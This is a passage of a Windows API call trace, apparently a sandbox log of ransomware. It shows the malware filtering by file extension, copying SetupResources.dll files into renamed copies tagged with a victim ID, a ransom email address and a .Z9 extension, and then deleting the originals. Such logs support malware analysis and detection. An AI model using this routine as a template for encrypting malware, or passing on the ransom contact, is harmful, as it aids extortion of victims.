	[0071.360] lstrlenW (lpString=".xls") returned 4
	[0071.360] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.360] lstrlenW (lpString=".xlsx") returned 5
	[0071.360] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.360] lstrlenW (lpString=".ppt") returned 4
	[0071.360] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0071.360] lstrlenW (lpString=".zip") returned 4
	[0071.360] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.360] lstrlenW (lpString=".rar") returned 4
	[0071.360] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.360] lstrlenW (lpString=".bz2") returned 4
	[0071.360] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.360] lstrlenW (lpString=".7z") returned 3
	[0071.360] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0071.360] lstrlenW (lpString=".dbf") returned 4
	[0071.360] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0071.360] lstrlenW (lpString=".1cd") returned 4
	[0071.360] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0071.360] lstrlenW (lpString=".jpg") returned 4
	[0071.360] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0071.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0071.360] lstrlenW (lpString=".doc") returned 4
	[0071.360] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.360] lstrlenW (lpString=".docx") returned 5
	[0071.360] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.361] lstrlenW (lpString=".pdf") returned 4
	[0071.361] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.361] lstrlenW (lpString=".xls") returned 4
	[0071.361] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.361] lstrlenW (lpString=".xlsx") returned 5
	[0071.361] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.361] lstrlenW (lpString=".ppt") returned 4
	[0071.361] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0071.361] lstrlenW (lpString=".zip") returned 4
	[0071.361] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.361] lstrlenW (lpString=".rar") returned 4
	[0071.361] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.361] lstrlenW (lpString=".bz2") returned 4
	[0071.361] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.361] lstrlenW (lpString=".7z") returned 3
	[0071.361] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0071.361] lstrlenW (lpString=".dbf") returned 4
	[0071.361] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0071.361] lstrlenW (lpString=".1cd") returned 4
	[0071.361] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0071.361] lstrlenW (lpString=".jpg") returned 4
	[0071.361] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.362] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.362] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.362] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0071.381] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=16728) returned 1
	[0071.381] CloseHandle (hObject=0x300) returned 1
	[0071.381] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80
	[0071.381] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.381] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0071.382] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.382] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.382] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.382] GetLastError () returned 0x0
	[0071.382] ReadFile (in: hFile=0x300, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x4158, lpOverlapped=0x0) returned 1
	[0071.489] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x4160, lpOverlapped=0x0) returned 1
	[0071.491] ReadFile (in: hFile=0x300, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.491] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.491] SetEndOfFile (hFile=0x338) returned 1
	[0071.491] CloseHandle (hObject=0x338) returned 1
	[0071.492] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.492] SetEndOfFile (hFile=0x300) returned 1
	[0071.493] CloseHandle (hObject=0x300) returned 1
	[0071.493] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.494] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1
	[0071.494] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0071.494] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0071.494] lstrlenW (lpString=".doc") returned 4
	[0071.494] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.494] lstrlenW (lpString=".docx") returned 5
	[0071.494] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.494] lstrlenW (lpString=".pdf") returned 4
	[0071.494] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.494] lstrlenW (lpString=".xls") returned 4
	[0071.494] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.494] lstrlenW (lpString=".xlsx") returned 5
	[0071.494] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.494] lstrlenW (lpString=".ppt") returned 4
	[0071.494] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.494] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0071.494] lstrlenW (lpString=".zip") returned 4
	[0071.494] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.494] lstrlenW (lpString=".rar") returned 4
	[0071.494] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.494] lstrlenW (lpString=".bz2") returned 4
	[0071.494] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.494] lstrlenW (lpString=".7z") returned 3
	[0071.494] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.494] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0071.494] lstrlenW (lpString=".dbf") returned 4
	[0071.495] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0071.495] lstrlenW (lpString=".1cd") returned 4
	[0071.495] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0071.495] lstrlenW (lpString=".jpg") returned 4
	[0071.495] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0071.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0071.495] lstrlenW (lpString=".doc") returned 4
	[0071.495] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.495] lstrlenW (lpString=".docx") returned 5
	[0071.495] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.495] lstrlenW (lpString=".pdf") returned 4
	[0071.495] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.495] lstrlenW (lpString=".xls") returned 4
	[0071.495] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.495] lstrlenW (lpString=".xlsx") returned 5
	[0071.495] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.495] lstrlenW (lpString=".ppt") returned 4
	[0071.495] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0071.495] lstrlenW (lpString=".zip") returned 4
	[0071.495] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.495] lstrlenW (lpString=".rar") returned 4
	[0071.495] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.495] lstrlenW (lpString=".bz2") returned 4
	[0071.495] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.495] lstrlenW (lpString=".7z") returned 3
	[0071.495] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0071.495] lstrlenW (lpString=".dbf") returned 4
	[0071.495] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0071.495] lstrlenW (lpString=".1cd") returned 4
	[0071.496] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0071.496] lstrlenW (lpString=".jpg") returned 4
	[0071.496] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.496] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.496] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.496] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0071.496] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=15704) returned 1
	[0071.496] CloseHandle (hObject=0x300) returned 1
	[0071.496] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80
	[0071.496] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.496] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0071.496] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.496] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.497] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.497] GetLastError () returned 0x0
	[0071.497] ReadFile (in: hFile=0x300, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x3d58, lpOverlapped=0x0) returned 1
	[0071.620] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x3d60, lpOverlapped=0x0) returned 1
	[0071.621] ReadFile (in: hFile=0x300, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.622] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.622] SetEndOfFile (hFile=0x338) returned 1
	[0071.622] CloseHandle (hObject=0x338) returned 1
	[0071.623] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.623] SetEndOfFile (hFile=0x300) returned 1
	[0071.624] CloseHandle (hObject=0x300) returned 1
	[0071.624] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.624] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1
	[0071.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0071.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0071.625] lstrlenW (lpString=".doc") returned 4
	[0071.625] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.625] lstrlenW (lpString=".docx") returned 5
	[0071.625] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.625] lstrlenW (lpString=".pdf") returned 4
	[0071.625] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.625] lstrlenW (lpString=".xls") returned 4
	[0071.625] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.625] lstrlenW (lpString=".xlsx") returned 5
	[0071.625] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.625] lstrlenW (lpString=".ppt") returned 4
	[0071.625] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0071.625] lstrlenW (lpString=".zip") returned 4
	[0071.625] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.625] lstrlenW (lpString=".rar") returned 4
	[0071.625] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.625] lstrlenW (lpString=".bz2") returned 4
	[0071.625] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.625] lstrlenW (lpString=".7z") returned 3
	[0071.625] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0071.625] lstrlenW (lpString=".dbf") returned 4
	[0071.625] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0071.625] lstrlenW (lpString=".1cd") returned 4
	[0071.625] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0071.625] lstrlenW (lpString=".jpg") returned 4
	[0071.625] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0071.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0071.625] lstrlenW (lpString=".doc") returned 4
	[0071.626] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.626] lstrlenW (lpString=".docx") returned 5
	[0071.626] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.626] lstrlenW (lpString=".pdf") returned 4
	[0071.626] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.626] lstrlenW (lpString=".xls") returned 4
	[0071.626] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.626] lstrlenW (lpString=".xlsx") returned 5
	[0071.626] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.626] lstrlenW (lpString=".ppt") returned 4
	[0071.626] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0071.626] lstrlenW (lpString=".zip") returned 4
	[0071.626] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.626] lstrlenW (lpString=".rar") returned 4
	[0071.626] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.626] lstrlenW (lpString=".bz2") returned 4
	[0071.626] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.626] lstrlenW (lpString=".7z") returned 3
	[0071.626] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0071.626] lstrlenW (lpString=".dbf") returned 4
	[0071.626] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0071.626] lstrlenW (lpString=".1cd") returned 4
	[0071.626] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0071.626] lstrlenW (lpString=".jpg") returned 4
	[0071.626] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.626] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.626] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.627] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0071.627] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=17752) returned 1
	[0071.627] CloseHandle (hObject=0x300) returned 1
	[0071.627] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80
	[0071.627] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.627] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0071.627] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.627] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.627] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.627] GetLastError () returned 0x0
	[0071.627] ReadFile (in: hFile=0x300, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x4558, lpOverlapped=0x0) returned 1
	[0071.753] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x4560, lpOverlapped=0x0) returned 1
	[0071.755] ReadFile (in: hFile=0x300, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.755] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.755] SetEndOfFile (hFile=0x338) returned 1
	[0071.756] CloseHandle (hObject=0x338) returned 1
	[0071.758] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.758] SetEndOfFile (hFile=0x300) returned 1
	[0071.759] CloseHandle (hObject=0x300) returned 1
	[0071.759] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.759] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1
	[0071.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0071.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0071.760] lstrlenW (lpString=".doc") returned 4
	[0071.760] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.760] lstrlenW (lpString=".docx") returned 5
	[0071.760] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.760] lstrlenW (lpString=".pdf") returned 4
	[0071.760] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.760] lstrlenW (lpString=".xls") returned 4
	[0071.760] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.760] lstrlenW (lpString=".xlsx") returned 5
	[0071.760] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.760] lstrlenW (lpString=".ppt") returned 4
	[0071.760] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0071.760] lstrlenW (lpString=".zip") returned 4
	[0071.760] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.760] lstrlenW (lpString=".rar") returned 4
	[0071.760] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.760] lstrlenW (lpString=".bz2") returned 4
	[0071.760] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.760] lstrlenW (lpString=".7z") returned 3
	[0071.760] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0071.760] lstrlenW (lpString=".dbf") returned 4
	[0071.760] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0071.760] lstrlenW (lpString=".1cd") returned 4
	[0071.760] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0071.760] lstrlenW (lpString=".jpg") returned 4
	[0071.760] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.761] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0071.761] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0071.761] lstrlenW (lpString=".doc") returned 4
	[0071.761] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.761] lstrlenW (lpString=".docx") returned 5
	[0071.761] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.761] lstrlenW (lpString=".pdf") returned 4
	[0071.761] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.761] lstrlenW (lpString=".xls") returned 4
	[0071.761] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.761] lstrlenW (lpString=".xlsx") returned 5
